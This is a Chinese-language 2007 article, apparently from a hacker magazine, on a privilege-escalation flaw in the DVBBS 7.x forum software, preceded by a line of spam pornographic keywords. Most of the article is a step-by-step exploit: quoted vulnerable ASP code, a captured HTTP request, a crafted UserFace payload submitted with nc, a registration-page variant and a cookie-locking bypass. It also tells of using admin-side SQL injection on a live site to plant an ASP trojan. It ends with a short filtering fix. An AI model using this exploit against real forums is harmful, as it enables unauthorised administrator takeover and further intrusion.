欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

動網7.x權限提升漏洞原理

 更新時間:2007年01月16日 00:00:00   作者:  
在6月份的黑防上看到《動網7.1漏洞驚現江湖》一文,說是admin_postings.asp文件存在注入漏洞,但利用的前提是擁有超級版主或前臺管理員權限。我想起以前發(fā)現的動網7.x版本存在一個前臺權限提升漏洞, 正好可以結合起來利用。這個前臺權限提升漏洞對7.x的Access和 SQL版都有效。下面我們就以7.0 SP2 SQL版,講解這個漏洞的利用。
漏洞分析:
我們知道動網是通過GroupID來判斷當前用戶所在的組的,然后再通過組的信息判斷用戶的權限。它是如何取得這個GroupID的呢?讓我們看看登錄驗證的那一段:login.asp的525行左右:
Rem ==========論壇登錄函數=========
Rem 判斷用戶登錄
Function ChkUserLogin(username,password,mobile,userCookies,ctype)
…………前面的代碼省略
SQL="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace
,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,
userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,
UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday "
SQL=SQL+" From [Dv_User] Where "&SQLstr&""
set rsUser=DVBBS.Execute(SQL)
If rsUser.eof and rsUser.bof Then
ChkUserLogin=false
Exit Function
Else
iMyUserInfo=rsUser.GetString(,1, "|||", "", "")
rsUser.Close:Set rsUser = Nothing
End If
iMyUserInfo = "DVBBS|||"& Now & "|||" & Now &"|||"& DVBBS.BoardID &"|||"&
iMyUserInfo &"||||||DVBBS"
iMyUserInfo = Split(iMyUserInfo,"|||")
If trim(password)<>trim(iMyUserInfo(6)) Then
ChkUserLogin=false
ElseIf iMyUserInfo(17)=1 Then
ChkUserLogin=false
ElseIf iMyUserInfo(19)=5 Then
ChkUserLogin=false
Else
ChkUserLogin=True
Session(DVBBS.CacheName & "UserID") = iMyUserInfo
DVBBS.UserID = iMyUserInfo(4)
RegName = iMyUserInfo(5)
Article = iMyUserInfo(8)
UserLastLogin = iMyUserInfo(15)
UserClass = iMyUserInfo(18) 
GroupID = iMyUserInfo(19)
TitlePic = iMyUserInfo(34)
If Article<0 Then Article=0
End If
…………后面的代碼省略
可以看到,動網將用戶的信息先用“|||”三個豎線連起來,做為一個字符串傳給iMyUserInfo,然后iMyUserInfo由“|||”分隔成一個字符串數組。用戶密碼驗證正確后就把數組的第20個元素的值:iMyUserInfo(19)賦給GroupID??吹經],GroupID只是數組對應的第20個元素的值,如果iMyUserInfo(19)的值為1的話,動網就以為現在登錄的用戶是前臺管理員了。
在inc目錄下的Dv_ClsMain.asp文件中也有這么驗證用戶身份的一段代碼,用來在用戶更新信息后檢測用戶的權限。
Dv_ClsMain.asp的650行左右
Public Sub TrueCheckUserLogin()
……前面的省略
Dim Rs,SQL
SQL="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,
UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,
UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,
UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday"
SQL=SQL+" From [Dv_User] Where UserID = " & UserID
Set Rs = Execute(SQL)
If Rs.Eof And Rs.Bof Then
Rs.Close:Set Rs = Nothing
UserID = 0
EmptyCookies
LetGuestSession()
Else
MyUserInfo=Rs.GetString(,1, "|||","","")
Rs.Close:Set Rs = Nothing
If IsArray(Session(CacheName & "UserID")) Then
MyUserInfo = "DVBBS|||"& Now & "|||" & Session(CacheName & "UserID")(2) &"|||"& BoardID &"|||"& MyUserInfo &"||||||DVBBS"
Else
MyUserInfo = "DVBBS|||"& Now & "|||" & DateAdd("s",-3600,Now()) &"|||"& BoardID &"|||"& MyUserInfo &"||||||DVBBS"
End IF
Response.Write MyUserInfo
MyUserInfo = Split(MyUserInfo,"|||")
…… 
End If
End Sub
’用戶登錄成功后,采用本函數讀取用戶數組并判斷一些常用信息
Public Sub GetCacheUserInfo()
MyUserInfo = Session(CacheName & "UserID")
UserID = Clng(MyUserInfo(4))
MemberName = MyUserInfo(5)
Lastlogin = MyUserInfo(15)
If Not IsDate(LastLogin) Then LastLogin = Now()
UserGroupID = Cint(MyUserInfo(19))
    ……后面代碼省略
兩處檢驗的方式一模一樣,所以我們可以利用這兩個中的任意一個來達到我們的目的??此腟QL語句部分:
SQL="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday"
SQL=SQL+" From [Dv_User] Where UserID = " & UserID

UserGroupID字段排在第16個,只要我們前面的一個字段的數據中含有“|||”,那么UserGroupID在MyUserInfo這個字符串數組的位置就改變了。對這個字段選取有些特殊的要求,字段類型要合適,不能為數字型,字段的長度要可以容納下我們構造的數組,并且還得是上面SQL語句中排在UserGroupID前面的字段,這樣才能使構造的數組改變原來數組中UserGroupID的位置。如圖1所示。
我們能利用的就只有UserEmail、UserFace這兩個字段了。由于IsValidEmail函數的存在,我們沒法在UserEmail字段中插入‘|',所以能利用的就只有UserFace字段了。
在基本資料修改時,動網只過濾了SQL注入用的幾個符號,沒有過濾掉‘|',所以只要我們構造出正確的字符串,就可以騙過動網,成為管理員組的用戶了。
  face=Dv_FilterJS(replace(face,"’",""))
face=Replace(face,"..","")
face=Replace(face,"\","/")
face=Replace(face,"^","")
face=Replace(face,"#","")
face=Replace(face,"%","")
漏洞的利用:
如何構造這個UserFace來達到我們的目的呢?最開始我以為只要iMyUserInfo(19)為1就可以是管理員了,但一直沒有成功。其實我們在構造這個UserFace時還要考慮到一點,我們已經改變了iMyUserInfo數組的結構,我們必須保證新的iMyUserInfo數組的前面一部分的結構和原數組結構一模一樣,否則就會出現類型轉換錯誤,比如UserBirthday,在新的數組中該字段位置的值必須為一個日期。我們可以直接拿一個正常的iMyUserInfo的后半部分做我們的UserFace值,然后將UserGroupID位置改為一。我修改了login.asp文件,讓它在用戶登錄時顯示當前用戶的iMyUserInfo的內容,如圖2所示。
例如admin(不一定非得是admin的,其他用戶的也行,只要UserGroupID處改為1就行了)登錄時的iMyUserInfo的值為:
DVBBS|||2005-6-1918:05:34|||2005-6-19 18:05:34|||0|||1|||admin|||469e80d32c0559f8|||
eway@aspsky.net|||4|||1|||0|||images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-1918:04:06|||25|||0|||管理員|||1||||||120|||115|||28|||0||||||210.41.235.200
|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||DVBBS
我們可以取
images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-19 18:04:06|||25|||0|||管理員|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||DVBBS

做我們的UserFace值,要注意這個值的長度不能超過255個字符。動網限制了我們提交的字符為100個,我們可以用NC來提交。
先在本機測試一下,用普通用戶登錄動網,現在用戶等級還是新手上路。
好了,我們去修改基本信息的地方。
提交,用WSE抓下這個包
截取到的包如下:
POST /bs/mymodify.asp?action=updat&username=4 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://210.41.235.199/bs/mymodify.asp Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)
Host: 210.41.235.199 Content-Length: 396 Connection: Keep-Alive Cache-Control: no-cache Cookie: 210%2E41%2E235%2E199%2Fbs%2F=userCookies=0&StatUserID=21048347059&password=fVIy4l887ZvD956c&userhidden=&username=test&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&userid=4; upNum=0; ASPSESSIONIDASCDABTA=IEGHDLKCCHDMOBPFPFFHMNAM
title=&sex=1&face=Images%2Fuserface%2Fimage1.gif&myface=Images%2Fuserface%2Fimage1.gif&width=32&height=32&birthday=&userphoto=&GroupName=%CE%DE%C3%C5%CE%DE%C5%C9&Signature=&showRe=0&userCookies=0&setuserinfo=1&setusertrue=0&realname=&personal=&country=&userphone=&address=&province=&selectp=0&city=&selectc=0&shengxiao=&blood=&belief=&occupation=&marital=&education=&college=&Submit=%B8%FC+%D0%C2
好,我們把userface的值給替換成
images/userface/image1.gif|||32|||32|||2003-12-30%2016:34:00|||2005-6-19%2018:04:06|||25|||0|||管理員|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||
9pc722664t5w7IM7|||0|0|0 ||||||DVBBS
要注意中間的空格替換成%20,重新計算Content-Length的值,然后用NC提交一次,我們這個用戶的userface就替換過來了。我們現在再重新登錄看看。
哈哈,看到了嗎?我們已經是管理員了。再利用黑防第六期《動網7.1漏洞驚現江湖》一文中的漏洞就可以添加后臺管理員了。
動網7.1利用方法:
動網的7.1版利用這個漏洞的方法有點小變化,難度也比7.0 SP2要大。7.1版中加入了對face變量中的'|'符號的過濾
mymodify.asp文件中的270行附近:
face=Dv_FilterJS(Replace(face,"’",""))
face=Replace(face,"..","")
face=Replace(face,"\","/")
face=Replace(face,"^","")
face=Replace(face,"#","")
face=Replace(face,"%","")
face=Replace(face,"|","")
可惜的是動網的程序員百密而一疏,忘了注冊時也可以修改頭像,在reg.asp中就沒有對face變量做任何的過濾。Reg.asp文件的285行附近。
If Request.form("face")<>"" Then
face=Request.form("face")
End If
同樣,還是先抓包后用NC提交。注冊登錄后就是前臺管理員了。但還要一個問題,就是Truepassword問題。7.1中加強了對Cookie欺騙的防范,所以這個truepassword變化的太頻繁了。在7.0SP2的newpass.asp中,只有一個更新當前用戶turepassword的指令:
7.0 SP2的newpass.asp文件
處理 SSI 文件時出錯

處理 SSI 文件時出錯

<%
DVBBS.NewPassword0()
%>
而在7.1中,newpass.asp還會檢查用戶的Cookies是否更新。7.1newpass.asp文件的30行左右
’檢查寫入是否成功如果成功則更新數據
If DVBBS.checkStr(Trim(Request.Cookies(DVBBS.Forum_sn)("password")))=TruePassWord Then
DVBBS.Execute("UpDate [Dv_user] Set TruePassWord=’"&TruePassWord&"’ where UserID="&DVBBS.UserID)
DVBBS.MemberWord = TruePassWord
Dim iUserInfo
iUserInfo = Session(DVBBS.CacheName & "UserID")
iUserInfo(35) = TruePassWord
Session(DVBBS.CacheName & "UserID") = iUserInfo
End If
在7.1中,我們的客戶端的Cookies中的truepassword被更新成新的truepassword,由于服務器端的truepassword也是從MyUserInfo中得來的,而MyUserInfo中的truepassword值是不會改變的,在檢測時就會形成一個死循環(huán)。我們的解決的辦法是用Cookies鎖定,用桂林老兵的瀏覽器鎖定我們的Cookies,之前得將Cookies中的truepassword值設成和MyUserInfo中的truepassword值一致。這樣就不會重復請求newpass.asp進入死循環(huán)了。
由于手頭上沒有7.1的SQL版的代碼,所以上面是在7.1的Access版下測試的,可以成功的成為前臺的管理員。
后記:
漏洞的防范方法:改數據庫結構的工程大了點,建議在reg.asp和mymodify.asp中加入對相應變量的”|”符號進行過濾,比如:
face=Dv_FilterJS(Replace(face,"’",""))
face=Replace(face,"..","")
face=Replace(face,"\","/")
face=Replace(face,"^","")
face=Replace(face,"#","")
face=Replace(face,"%","")
face=Replace(face,"|","")
還想提一點,動網太信任后臺的管理員了,所以在后臺的很多地方都沒有對SQL注入進行防范,這就形如給我們開了一個SQL注入之門。我們曾經檢測的一個網站,設置的非常BT。上面用的就是DVBBS的論壇。當我們取得了DVBBS的后臺管理員權限時才發(fā)現上傳目錄沒有執(zhí)行權限,asp木馬傳上去了又原樣返回。而由執(zhí)行asp權限的目錄又沒有寫入的權限。網站上又沒有其他的站點可以注入。后來發(fā)現DVBBS后臺有注入后才總算得到一匹小馬。真是千里之堤,潰于蟻穴啊。
哆嗦一句,這個權限提升漏洞沒有太高深的技巧,但后果是非常嚴重的。由于前臺管理的多個頁面存在SQL注入,所以這個漏洞對DVBBS 7.x SQL版的危害非常大。請不要用本文的方法做破壞行為,否則后果自負。

相關文章

最新評論